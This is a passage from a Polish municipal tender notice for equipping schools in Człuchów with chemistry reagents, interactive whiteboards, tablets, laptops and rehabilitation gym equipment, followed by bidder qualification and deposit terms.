109	odczynniki chemiczne zestaw gimnazjalny	Odczynniki chemiczne zestaw do gimnazjum. Zestaw zawiera: Alkohol etylowy, Alkohol propylowy, Alkohol trójwodorotlenowy, Amoniak, Azotan amonu, Azotan potasu, Azotan sodu, Azotan srebra, Benzyna ekstrakcyjna, Bibuła filtracyjna jakościowa średniosącząca, Błękit tymolowy, Chlorek miedzi, Chlorek potasu, Chlorek sodu, Chlorek wapnia, Chlorek żelaza, Cyna, potasu, Fenoloftaleina, Fosfor czerwony, Glin, Jodyna, Krzemian sodu, Kwas azotowy, Kwas chlorowodorowy, Kwas fosforowy, Kwas mlekowy, Kwas mrówkowy, Kwas octowy, Kwas oleinowy, Kwas siarkowy, Kwas stearynowy, Lakmus, Magnez, Manganian potasu, Miedź, Nadtlenek wodoru, Octan etylu, Octan ołowiu, Octan sodu bezwodny, Oranż metylowy, Parafina rafinowana, Paski wskaźnikowe uniwersalne, Sacharoza, Sączki jakościowe, Siarczan magnezu, Siarczan miedzi, Siarczan sodu, Siarczan wapnia, Siarczan wapnia, Siarka, Skrobia ziemniaczana, Sód, Stop Wooda, Tlenek magnezu, Tlenek miedzi, Tlenek ołowiu, Tlenek żelaza, Węgiel drzewny, Węglan potasu bezwodny, Węglan sodu bezwodny, Węglan sodu kwaśny, Węglan wapnia, Węglan wapnia, Wodorotlenek potasu, Wodorotlenek sodu, Wodorotlenek wapnia, Żelazo	2	Gimnazjum nr 1 Człuchowie
Szczegółowy opis przedmiotu zamówienia  część II SPRZĘT MULTIMEDIALNY 

LP	NAZWA	OPIS	ILOŚĆ	SZKOŁA
1	tablica interaktywna	Tablica interaktywna. Cechy: Przekątna tablicy:  70"; Technologia:  Dotykowa - pozycjonowanie w podczerwieni; Forma obsługi:  palcem; Oprogramowanie:  Bogate, funkcjonalne i intuicyjne oprogramowanie pozwala na realizację wielu przydatnych, kreatywnych funkcji, jak: rozpoznawanie pisma odręcznego,odtwarzanie video z możliwością pisania na filmie, zrzuty video, szybkie tworzenie figur geometrycznych. Program posiada bogatą bibliotekę załączników związanych z przedmiotami szkolnymi a także współpracuje z większością formatów graficznych. Integruje się z programami pakietu MS Office pozwalając na ręczne dopisywanie notatek do dokumentów (w formie graficznej). Wyposażenie:  Półka na pisaki, oprogramowanie na płycie CD, kabel USB, 2 pisaki, zestaw montażowy	2	SP nr 1 w Człuchowie
2	tablica interaktywna	Tablica interaktywna. Cechy: Przekątna tablicy:  70"; Technologia:  Dotykowa - pozycjonowanie w podczerwieni; Forma obsługi:  palcem; Oprogramowanie:  Bogate, funkcjonalne i intuicyjne oprogramowanie pozwala na realizację wielu przydatnych, kreatywnych funkcji, jak: rozpoznawanie pisma odręcznego,odtwarzanie video z możliwością pisania na filmie, zrzuty video, szybkie tworzenie figur geometrycznych. Program posiada bogatą bibliotekę załączników związanych z przedmiotami szkolnymi a także współpracuje z większością formatów graficznych. Integruje się z programami pakietu MS Office pozwalając na ręczne dopisywanie notatek do dokumentów (w formie graficznej). Wyposażenie:  Półka na pisaki, oprogramowanie na płycie CD, kabel USB, 2 pisaki, zestaw montażowy	3	SP nr 1 w Człuchowie
3	tablet	Tablet o minimalnych parametrach: Procesor MTK 8127 (4 rdzenie, 1.30 GHz, Cortex A7); Pamięć 8 GB + 32 GB karta; Pamięć RAM 1 GB DDR3; Przekątna 7"; Android 5.0 Lollipop; 24 miesiące (gwarancja producenta	30	SP nr 1 w Człuchowie
4	laptop + oprogramowanie	Laptop multimedialny o parametrach minimalnych: ekran o przekątnej: 15.6 cali, rozdzielczość ekranu: 1920 x 1080 pikseli, powłoka ekranu błyszcząca, procesor: Intel Core i7, 8 GB RAM DDR3, dysk 1TB 5400 RPM + 8 GB SSD,
napęd optyczny DVD+/- RW DL, karta
graficzna NVIDIA GeForce 840M z 2048 MB pamięci RAM + Intel HD 4400, pojemność akumulatora 2800 mAh, moc wbudowanych głośników 3 W, czytnik kart pamięci SD, interfejsy 1 x USB 3.0, 2 x USB,1 x wyjście D-Sub, 1 x wyjście HDMI, system operacyjny, komunikacja WiFi, IEEE, LAN 1 Gbps, Bluetooth, Intel WiDi, kamera o
rozdzielczości HD wmontowana w 
ekran.	3	SP nr 1 w Człuchowie
5	urządzenie wielofunkcyjne	Urządzenie wielofunkcyjne o minimalnych parametrach: technologia druku: Laserowa, monochromatyczna; Interfejsy: LAN (Ethernet), Wi-Fi, USB; Druk dwustronny: Automatyczny; Automatyczny podajnik dokumentów z funkcją skanu dwustronnego (DADF); 24 miesiące (gwarancja producenta)	1	SP nr 1 w Człuchowie
6	wizualizer	Interaktywna kamera USB5 mega pikseli (2592x1944), 5M8x zoom cyfrowy, format zapisu390x210mm (XGA) lub 390x315mm (WXGA)Wymiary 248x448x390mm  po rozłożeniu, 1,5 kgZłącza: 2x USB 2.0, 1x wyjście (mini USB)
2	SP nr 1 w Człuchowie
7	laptop + oprogramowanie	Laptop multimedialny o parametrach minimalnych: ekran o przekątnej: 15.6 cali, rozdzielczość ekranu: 1920 x 1080 pikseli, powłoka ekranu błyszcząca, procesor: Intel Core i7, 8 GB RAM DDR3, dysk 1TB 5400 RPM + 8 GB SSD,
napęd optyczny DVD+/- RW DL, karta
graficzna NVIDIA GeForce 840M z 2048 MB pamięci RAM + Intel HD 4400, pojemność akumulatora 2800 mAh, moc wbudowanych głośników 3 W, czytnik kart pamięci SD, interfejsy 1 x USB 3.0, 2 x USB,1 x wyjście D-Sub, 1 x wyjście HDMI, system operacyjny, komunikacja WiFi, IEEE, LAN 1 Gbps, Bluetooth, Intel WiDi, kamera o
rozdzielczości HD wmontowana w 
ekran.	2	SP nr 1 w Człuchowie
8	tablica interaktywna	Tablica interaktywna. Cechy: Przekątna tablicy:  70"; Technologia:  Dotykowa - pozycjonowanie w podczerwieni; Forma obsługi:  palcem; Oprogramowanie:  Bogate, funkcjonalne i intuicyjne oprogramowanie pozwala na realizację wielu przydatnych, kreatywnych funkcji, jak: rozpoznawanie pisma odręcznego,odtwarzanie video z możliwością pisania na filmie, zrzuty video, szybkie tworzenie figur geometrycznych. Program posiada bogatą bibliotekę załączników związanych z przedmiotami szkolnymi a także współpracuje z większością formatów graficznych. Integruje się z programami pakietu MS Office pozwalając na ręczne dopisywanie notatek do dokumentów (w formie graficznej). Wyposażenie:  Półka na pisaki, oprogramowanie na płycie CD, kabel USB, 2 pisaki, zestaw montażowy	2	SP nr 1 w Człuchowie
9	rzutnik	Rzutnik multimedialny z matrycą typu DLP o następujących parametrach minimalnych: lampa o mocy 240 W,
żywotność lampy:  5000 godzin w trybie ekonomicznym, min. 4000 godzin w trybie standardowym, współczynnik kontrastu: 10000:1, rozdzielczość podstawowa: HD 1080p (1920 x 1080), system wyświetlania: DLP, jasność min. 3200 ANSI lumen, format obrazu standardowy: 16:9, dostępne wejścia: wejście HDMI, wejście D-Sub 15pin,
wejście liniowe audio, wyjście liniowe audio, złącze USB, głośniki: min 1
możliwość prowadzenia prezentacji bez komputera, sterowanie za 
pomocą pilota. Minimalna zawartość dodatkowego wyposażenia: instrukcja obsługi, kabel D-SUB, kabel zasilający, pilot.	2	Gimnazjum nr 1 Człuchowie
10	tablica interaktywna	Tablica interaktywna. Cechy: Przekątna tablicy:  70"; Technologia:  Dotykowa - pozycjonowanie w podczerwieni; Forma obsługi:  palcem; Oprogramowanie:  Bogate, funkcjonalne i intuicyjne oprogramowanie pozwala na realizację wielu przydatnych, kreatywnych funkcji, jak: rozpoznawanie pisma odręcznego,odtwarzanie video z możliwością pisania na filmie, zrzuty video, szybkie tworzenie figur geometrycznych. Program posiada bogatą bibliotekę załączników związanych z przedmiotami szkolnymi a także współpracuje z większością formatów graficznych. Integruje się z programami pakietu MS Office pozwalając na ręczne dopisywanie notatek do dokumentów (w formie graficznej). Wyposażenie:  Półka na pisaki, oprogramowanie na płycie CD, kabel USB, 2 pisaki, zestaw montażowy	2	Gimnazjum nr 1 Człuchowie
11	tablet	 Panoramiczny wyświetlacz Multi-Touch o przekątnej 9,7 cala, z podświetleniem LED, wykonany w technologii IPS, pojemność 128 GB, system operacyjny iOS 10, procesor A8X z architekturą 64-bitową, koprocesor ruchu M8, rozmiar i masa: wysokość: 240 mm, szerokość: 169,5 mm, głębokość: 6,1 mm, masa: wersja WiFi - 437 g, wersja WiFi + Cellular - 444 g, złącze Lightning, wyświetlacz Retina, rozdzielczość 2048 na 1536 pikseli przy 264 ppi, powłoka oleofobowa odporna na odciski palców, Pełna laminacja wyświetlacza, Powłoka antyodblaskowa, , kamera iSight 8 MP, hybrydowy filtr IR, matryca BSI, nagrywanie w jakości HD 1080p (30 kl./s), kamera FaceTime HD, Zdjęcia o rozdzielczości 1,2 MP, model WiFi + Cellular, karta SIM, nano-SIM (działa z kartą Apple SIM).	30	Gimnazjum nr 1 Człuchowie
12	odtwarzacz multimedialny	Odtwarzacz multimedialny. Cechy: Wbudowana pamięć 2 GB; Format odtwarzanych plików AAC, WMA, MP3;
12 miesięcy gwarancji	2	Gimnazjum nr 1 Człuchowie
13	głośniki	Głośniki: 2.1 Moc: 4 W. Moc subwoofera: 5 W. Sterowanie wbudowane w głośnik. 24 miesiące gwarancji	2	Gimnazjum nr 1 Człuchowie
Szczegółowy opis przedmiotu zamówienia  część III URZĄDZENIA I ARTYKUŁY DO ĆWICZEŃ REHABILITACYJNO- RUCHOWYCH

LP	NAZWA	OPIS	ILOŚĆ	SZKOŁA
1	balansujący wąż	Wąż o średnicy ok. 5cm, wygięta pozioma, długość 2, 16 m.	1	SP nr 1 w Człuchowie
2	gąsienica edukacyjna	Gąsienica wykonana z lkkiego materiału, odpornego na przedarcia - plandeka. Końce materiału są ze sobą zgrzane - zespolone z użyciem wysokiej temperatury. Kolor: niebieski, wymiary: 7m x 50 cm. Zasady: należy uważać na osobę znajdującą się z przodu i iść w tym samym tempie - tak, by nie deptać nikomu po piętach	2	SP nr 1 w Człuchowie
3	ławka rehabilitacyjna 2,5m z gniazdem	Ławka rehabilitacyjna z gniazdem. Metalowe gniazdo w płycie ławki pozwala na instalowanie wymiennie urządzeń typu podpórka pod kolana lub uchwyt na ręce, umożliwiając tym samym wykonywanie efektywnych ćwiczeń korekcyjnych w wielu wadach postawy ciała. Długość ławki 2,5m.	2	SP nr 1 w Człuchowie
4	ławeczka symetryzująca	Wielofunkcyjne urządzenie gimnastyczne umożliwiające ćwiczenia ogólnorozwojowe i korekcyjne. Specjalne zaczepy umożliwiają mocowanie ławeczki na drabince pod dowolnym kątem w zakresie od 0 do 90 stopni, umożliwiając odpowiednie obciążenie ćwiczącego. Dane techniczne: długość -1800 mm, wysokość - 300 mm, szerokość - 160 mm, waga - 20 kg	2	SP nr 1 w Człuchowie
5	nakładka na ławkę rehabilitacyjną	Nakładka na ławkę rehbilitacyjną wykonana z deski z drewna iglastego o dł.2000, szer.240 i gr.30 mm. Na górnej zaokrąglonej płaszczyźnie deski naklejona jest tworzywowa mata z kolcami typu jeż. Nakładka mocowana jest do płyty ławki dwoma pasami zakończonymi taśmą rzep.	2	SP nr 1 w Człuchowie
6	drabinka gimnastyczna - schodkowa	Drabinka wykonana z drewna iglastego, służy do ćwiczeń poprawiających koordynację ruchową u dzieci. Wykorzystana w układzie ze skrzyniami umożliwia budowę różnych torów do ćwiczeń.
Wymiary: 2500x340x80 mm	2	SP nr 1 w Człuchowie
7	deska równoważnia	Równoważnia do balansowania z jednej strony na drugą, kręcenia się dookoła i próby łapania równowagi. Deska to doskonały produkt do rozwijania zdolności motorycznych i utrzymywania równowagi. Śr.: 76 cm, wys.: 18 cm, maksymalne obciążenie: 60 kg	1	SP nr 1 w Człuchowie
8	wysięgnik drabin i lin do wspinania	Konstrukcja stalowa spawana, malowana proszkowo. Mocowana na ścianie, służy do zawieszenia jednej drabiny lub jednej liny do wspinania. Odległość od ściany 1000 mm.	1	SP nr 1 w Człuchowie
9	ścianka wspinaczkowa	Ścianka wspinaczkowa potrójna. Główne Elementy nośne: drewno klejone warstwowo malowane preparatem na bazie naturalnych olejów
Kotwienie: za pomocą stalowych ocynkowanych kotew
Panele: polietylen HDPE
Zabezpieczenie antykorozyjne elementów stalowych: ocynkowanie i malowanie proszkowe	1	SP nr 1 w Człuchowie
10	 	 	3	SP nr 1 w Człuchowie
11	mata gimnastyczna	Funkcjonalne nakrycia podłogowe do sal gimnastycznych, klubów fitness lub pomieszczeń rehabilitacyjnych, zastępując tradycyjny kocyk dbają o wygodę wykonujących ćwiczenia w pozycji leżącej lub siedzącej. Miękkie i sprężyste chronią przed drobnymi urazami, a ze względu na mały przekrój poprzeczny pozwalają się łatwo zwijać, tworząc giętki przyrząd zbliżony kształtem do walca. Dzięki jednolitej strukturze i trwałemu wybarwieniu są łatwe do utrzymania w czystości bez niebezpieczeństwa utraty koloru. Wykonane z funkcjonalnego tworzywa nie odznaczają się właściwościami higroskopijnymi. Każdą wyposażono w otwory do zawieszania oraz system uniemożliwiający przesuwanie się podczas treningu. Wym.: 180 x 60 x 1 cm.	15	SP nr 1 w Człuchowie
12	poduszka na ławkę rehabilitacyjną	Spód poduszki wykonany ze sklejki, wyściółka pokryta skórą syntetyczną, pasy mocujące do płyty ławki. Stosowana do ćwiczeń z ławką i uchwytem na ręce.	2	SP nr 1 w Człuchowie
13	uchwyt na ręce do ławki rehabilitacyjnej	Drążek ze sklejki z metalową obejmą i wspornikiem do montażu w gnieździe ławki. Stosowany do ćwiczeń w zestawie z ławką i drabiną oraz poduszką umożliwia korektę takich wad, jak okrągłe plecy, choroba Scheuermanna, boczne skrzywienie kręgosłupa i innych wad postawy w obrębie pasa barkowego.	12	SP nr 1 w Człuchowie
14	podpórka pod kolana do ławki rehabilitacyjnej	Poprzeczki z rurki stalowej z rolkami gumowymi (zabezpieczają skórę przed otarciami) i wspornikiem metalowym do montażu w gnieździe ławki. Stosowany w zestawie z ławką i drabiną umożliwia wykonywanie ćwiczeń korekcyjnych przy płaskich plecach, podwyższonej i pogłębionej lordozie lędźwiowej, osłabionych mięśniach brzucha i bólach kręgosłupa w odcinku lędźwiowym.	12	SP nr 1 w Człuchowie
15	poduszka do ćwiczeń równoważnych	Poduszka do nauki równowagi i masażu.Śr.: 23 cm.	5	SP nr 1 w Człuchowie
16	poduszki rehabilitacyjne	

Poduszka dzięki swojemu profilowi idealnie dopasowuje się do kształtów gwarantując optymalne ułożenie odcinka lędźwiowego. Śr.: ok. 33 cm.	5	SP nr 1 w Człuchowie
17	krążki rehabilitacyjne	Krążki terapeutyczne mogą być używane na podłodze, w celu wzmocnienia dolnych partii mięśni oraz do trenowania równowagi. Krążki pokryte są :wypustkami dostarczającymi niecodziennych wrażeń, pobudzając lub umacniając zmysł dotyku oraz koordynację.:Śr. 30 cm.	5	SP nr 1 w Człuchowie
18	duże piłki - woreczki rehabilitacyjne 1kg	Worki rehabilitacyjne do ćwiczeń postawy jak i gimnastyki korekcyjnej. Wypełnione są kulkami zatopionym w nieszkodliwym żelu które podczas ćwiczeń dostosowują się do wybranego kształtu ciała. 1 kg.	2	SP nr 1 w Człuchowie
19	duże piłki - woreczki rehabilitacyjne 2kg	Worki rehabilitacyjne do ćwiczeń postawy jak i gimnastyki korekcyjnej. Wypełnione są kulkami zatopionym w nieszkodliwym żelu które podczas ćwiczeń dostosowują się do wybranego kształtu ciała. 2 kg.	1	SP nr 1 w Człuchowie
20	piłka sensoryczna	Piłka Sensoryczna, śr. 28cm	3	SP nr 1 w Człuchowie
21	piłka rehabilitacyjna	Piłki z PCV do gier i zabaw ruchowych oraz rehabilitacyjnych.  Śr. 75 cm. Maksymalne obciążenie 500 kg	10	SP nr 1 w Człuchowie
22	jeż balansujący	Zestaw 3 jeży balansujących, wykonanych z miękkiego elastycznego tworzywa, polecany jest do ćwiczeń równowagi oraz zabaw ruchowych. 	2	SP nr 1 w Człuchowie
23	mata korekcyjno-masująca	Mata jeżyk imitując naturalne środowisko powodująca oddziaływanie podobne do chodzenia po kamykach, szyszkach, rżysku, patykach itd. Dochodzi wówczas do pobudzenia i odruchowego skurczu obronnego mięśni krótkich w stopach, powodując stopniowe ich wzmacnianie. Dzięki temu dochodzi do prawidłowego wysklepienia podłużnego i poprzecznego w stopach oraz skorygowania koślawości pięt.Mata korzystnie wpływa na regulacje zaburzenia przemiany materii, bóle głowy, krzyża, krążenie krwi.Wymiary: 33/30 cm	4	SP nr 1 w Człuchowie
24	piłki - woreczki do stóp	Kolorowe woreczki piłki służące do rzucania i łapania rękoma lub nogami. Są niezastąpione przy ćwiczeniach balansowania  wystarczy umieścić je na głowie przy przechodzeniu, np. przez ławeczkę. W komplecie znajduje się 6 sztuk woreczków o wadze 300 gram.	1	SP nr 1 w Człuchowie
25	jajo balansujące	Duże składane jajo do utrzymywania na głowie. Pomocne do ćwiczeń antygrawitacyjnych oraz do kształtowania prawidłowej postawy ciała.	1	SP nr 1 w Człuchowie
26	wałek z kolcami do masażu	Wałek z kolcami został zaprojektowany w taki sposób, aby ćwiczyć zdolności motoryczne oraz zmysł dotyku. Maksymalne obciążenie 150 kg. Wym.: szer. 100 x śr. 50 cm.	1	SP nr 1 w Człuchowie
27	worki gimnastyczne z literami	Zestaw zawiera: 33 woreczki z nadrukiem w 6 kolorach: czerwone: a, e, j, o, t, ż; pomarańczowe: ą, ę, k, ó, u, ź; żółte: b, f, l, p, w; zielone: c, g, ł, r, x; niebieskie: ć, h, m, s, y; fioletowe: d, i, n, ś, z. Woreczki gimnastyczne z nadrukiem to wyjątkowa pomoc w czasie zabaw animacyjnych, dydaktycznych i zajęć korekcyjno-ruchowych. Idealne jako pomoc dydaktyczna we wczesnej edukacji przy nauce m.in. alfabetu i czytania.	2	SP nr 1 w Człuchowie
28	worki gimnastyczne z cyframi	Kolorowe woreczki, z których każdy ma przypisaną cyferkę. Woreczki służą do rzucania i łapania rękoma lub nogami. Są niezastąpione przy ćwiczeniach balansowania  wystarczy umieścić je na głowie przy przechodzeniu, np. przez ławeczkę. Naniesione cyfry umożliwiają prowadzenie gier obliczeniowych od 1 klasy szkoły podstawowej. W komplecie znajduje się 10 sztuk woreczków. Wym.: 14 cm x 9 cm.	2	SP nr 1 w Człuchowie
29	piłka skacząca	Piłka skacząca 60 cm z uchwytami	6	SP nr 1 w Człuchowie
30	ringo z kolcami	Ringo to wielofunkcyjna obręcz doskonale sprawdzająca się w zabawach grupowych, grach zespołowych i rehabilitacji dłoni i stóp. Guma jest miękka w dotyku, a jednocześnie trwała i łatwa do czyszczenia.4 ringo z wypustkami
średnica 17 cm.	6	SP nr 1 w Człuchowie
31	lina kooperacyjna	Lina kooperacyjna do zabaw w grupieElastyczna lina do zajęć w grupie, o wszechstronnym zastosowaniu.Wykonanie: latex pokryty przyjaznym dla skóry pluszem (75 % polyacryl, 25 % poliester).	1	SP nr 1 w Człuchowie
32	piłka do przyciągania	Piłka do przeciągania. Do zabawy , jak w przypadku przeciągania liny. Dla max. 6 osób. Do przeciągania, szarpania, ciągnięcia, kręcenia się wkoło.Pomaga budować komunikację społeczną o odreagować agresję. Średnica 55cm.	2	SP nr 1 w Człuchowie
33	komplet taśm lateksowych	ZESTAW Taśm lateksowych do ćwiczeń oporowych 2,5m X 3 sztuki	1	SP nr 1 w Człuchowie
34	małe dyski korekcyjne	Małe dyski do korekcji wad postawy oraz podczas ćwiczeń równoważnych przeprowadzanych z dziećmi.  Posiada wentylek umożliwiający regulację ilości powietrza wewnątrz przyboru. Wykonane z wytrzymałej gumy. Łatwe do utrzymania w czystości, bezpieczne i elastyczne. W komplecie 4 szt znajdują się dyski o kolorach: zielonym, czerwonym, niebieskim i żołtym.
Wymiary: średnica 16 cm.	1	SP nr 1 w Człuchowie
35	chusta - spadohron	Chusta z uchwytami pomaga w nauce, jest narzędziem wielu kreatywnych zabawaw, w których uczy się nawiązywania kontaktów. Idealna do zabawa grupowych. 	1	SP nr 1 w Człuchowie
36	drabina sznurowa potrójna	Drabina sznurowa potrójna. Wym.: szer. 30 x wys. 180 cm	1	SP nr 1 w Człuchowie
<br /><br /><b>II.5) Główny kod CPV: </b>39162100-6<br /><b> Dodatkowe kody CPV:</b>39162110-9,
                39162200-7<br /><b>
                II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>:
              
              <br />
              Wartość bez VAT:
              <br />
              Waluta:
              <br /><div style="padding-left: 20px"><br /><i>(w przypadku umów ramowych lub dynamicznego systemu zakupów  szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i></div><br /><b>
                II.7)
                Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7  lub w art. 134 ust. 6 pkt 3  ustawy Pzp:
              </b>
                nie
              <br /><b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b><div style="padding-left: 20px">
                    data zakończenia: 31/03/2017<br /></div><br /><b>II.9) Informacje dodatkowe: </b></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>
                III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU
              </b><br /><div style="padding-left: 20px"><b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b><br />
                Określenie warunków:
                <br />
                Informacje dodatkowe
                <br /><b>III.1.2)  Sytuacja finansowa lub ekonomiczna  </b><br />
                Określenie warunków:
                a.	Wykonawca musi wykazać, że w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy  
w tym okresie, zrealizował minimum 3 dostawy stanowiące wyposażenie bazy dydaktycznej szkół, przy czym każda dostawa o wartości nie mniejszej niż:
	30 000 zł dla części I;
	60 000 zł dla części II;
	10 000 zł dla części III
W przypadku gdy wykonawca składa ofertą na większą ilość zadań powyższe wymagania należy zsumować.
b.	Wykonawca musi wykazać, że posiada środki finansowe lub zdolność kredytową na kwotę:
	30 000 zł dla części I;
	60 000 zł dla części II;
	10 000 zł dla części III
W przypadku gdy wykonawca składa ofertą na większą ilość zadań powyższe wymagania należy zsumować.

c.	Wykonawca musi wykazać, że posiada ubezpieczenie od odpowiedzialności cywilnej kontraktowej i deliktowej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia, w wysokości minimalnej (suma gwarancyjna na jeden i wszystkie przypadki), tj.:
	30 000 zł dla części I;
	60 000 zł dla części II;
	10 000 zł dla części III
W przypadku gdy wykonawca składa ofertą na większą ilość zadań powyższe wymagania należy zsumować.
<br />
                Informacje dodatkowe
                <br /><b>III.1.3) Zdolność techniczna lub zawodowa </b><br />
                Określenie warunków:
                <br />
                Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób:
                
                  nie
                <br />
                Informacje dodatkowe:
                </div><b>
                III.2) PODSTAWY WYKLUCZENIA
              </b><br /><div style="padding-left: 20px"><b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1  ustawy Pzp</b><br /><b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b>
                  tak
                  <br />
                  Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia:
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)
                <br /></div><b>
                III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI
              </b><br /><div style="padding-left: 20px"><b>
                  Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu
                </b><br />
                  tak
                <br /><b>
                  Oświadczenie o spełnianiu kryteriów selekcji
                </b><br />
                  nie
                </div><b>
                III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP:
              </b><br /><div style="padding-left: 20px"></div><b>
                III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP
              </b><br /><div style="padding-left: 20px"><b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b><br /><br /><b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b><br /></div><b>
                III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP
              </b><br /><div style="padding-left: 20px"></div><b>
                III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6)
              </b><div style="padding-left: 20px"></div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA IV: PROCEDURA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>IV.1) OPIS </b><br /><b>IV.1.1) Tryb udzielenia zamówienia: </b>
                przetarg nieograniczony
              <br /><b>IV.1.2) Zamawiający żąda wniesienia wadium:</b><div style="padding-left: 20px">
                  tak,
                  <br />
                  Informacja na temat wadium
                  <br />1. Zamawiający wymaga wniesienia wadium.
2. Ustala się wadium dla całości przedmiotu zamówienia w wysokości:
Część nr 1 1500 zł. słownie: tysiąc pięćset złotych.
Część nr 2 3000 zł. słownie: trzy tysiące złotych
Część nr 3 500 zł. słownie: pięćset  złotych
3. Wykonawca wnosi wadium w wybranej przez siebie, wymienionej poniżej, formie: 1)	w pieniądzu, przelewem na rachunek bankowy:  Rachunek bankowy Zamawiającego Urząd Miejski Człuchów konto Bank Gospodarki Żywnościowej S.A. Człuchów  Nr  35 2030 0045 1110 0000 0228 6250
z adnotacją ,wadium na Wyposażenie bazy dydaktycznej szkół w ramach projektu pn.: Edukacja drogą do sukcesu w Gminie Człuchów
2)	w poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowo  kredytowej, z tym, że zobowiązanie kasy jest zobowiązaniem pieniężnym, 3)	w gwarancjach bankowych,  4)	w gwarancjach ubezpieczeniowych  5)	w poręczeniach udzielanych przez podmioty, o których mowa w art. 6b ust. 5 pkt 2 ustawy z dnia 9 listopada 2000 r. o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz. U. z 2007r. Nr 42, poz. 275 z późn. zm.)   do upływu terminu składania ofert. Sposób przekazania: Dowód wniesienia wadium powinien być dołączony do oferty ( oryginał gwarancji, poręczenia lub kopia przelewu poświadczona za zgodność z oryginałem przez Wykonawcę).  4. Za termin wniesienia wadium w formie przelewu pieniężnego przyjmuje się termin uznania na rachunku Zamawiającego.
6. W zakresie wadium obowiązują uregulowania ustawy Prawo zamówień publicznych zawarte w art. 45 i 46. 7. W przypadku niezabezpieczenia oferty jedną z określonych w niniejszej specyfikacji form wadium oferta wykonawca zostanie odrzucona.
</div><br /><b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>
                IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /></div><br /><b>
                IV.1.5.) Wymaga się złożenia oferty wariantowej:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie oferty wariantowej
                <br />
                  nie
                <br />
                Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej:
                <br />
                  nie
                </div><br /><b>
                IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu
              </b><br /><i>
                (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne)
              </i><div style="padding-left: 20px">
                Liczba wykonawców  <br />
                Przewidywana minimalna liczba wykonawców  <br />
                Maksymalna liczba wykonawców  <br />
                Kryteria selekcji wykonawców:
                <br /></div><br /><b>
                IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów:
              </b><div style="padding-left: 20px">
                Umowa ramowa będzie zawarta:
                <br /><br />
                Czy przewiduje się ograniczenie liczby uczestników umowy ramowej:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych:
                <br />
                  nie
                <br />
